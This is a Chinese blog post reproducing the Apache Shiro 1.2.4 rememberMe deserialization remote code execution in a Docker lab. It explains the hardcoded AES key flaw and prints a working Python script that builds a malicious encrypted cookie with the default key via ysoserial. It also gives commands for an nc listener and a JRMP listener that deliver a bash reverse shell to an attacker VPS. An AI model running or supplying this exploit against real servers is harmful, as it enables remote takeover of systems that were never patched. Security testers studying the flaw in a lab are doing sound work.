CYH博客CYH博客

天行健,
君子以自强不息。

【漏洞复现】Apache Shiro 1.2.4反序列化命令执行


影响版本

Apache Shiro <= 1.2.4

产生原因

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

payload 构造

前16字节的密钥-->后面加入序列化参数-->AES加密-->base64编码-->发送cookie

  • shiro.py

import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertextif __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    print "rememberMe={0}".format(payload.decode())

使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

python shiro.py vpsip:1099

1-191010100430525.png
图片.png

环境搭建

这里依旧使用docker进行漏洞复现

  1. 拉取镜像

docker pull medicean/vulapps:s_shiro_1

  1. 启动环境

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081 代表环境运行在宿主机的8081端口

  1. 进入容器环境

docker exec -it ID /bin/bash 进入容器

访问 web 环境(http://ip:8081/login.jsp)并登陆,登陆时勾选remember me

1-191010100525646.png

图片.png

成功登录后访问任意url并抓包,查看到 cookie 中的 remember me 参数

1-191010100552193.png

图片.png

漏洞复现

  1. VPS 执行监听反弹 shell 的命令

nc -lvp 7878


1-191010100FI00.png

图片.png


  1. 使用 VPS 监控一个JRMP端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash 一句话反弹shell"
( 反弹 shell 需要进行java base64 编码)

1-191010100H9547.png
图片.png

将生成的payload通过burp进行发送

1-191010100K31a.png

图片.png

此时可看到已经收到反弹过来的 shell

1-191010100PU94.png

图片.png



未经允许不得转载:CYH博客 » 【漏洞复现】Apache Shiro 1.2.4反序列化命令执行
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我们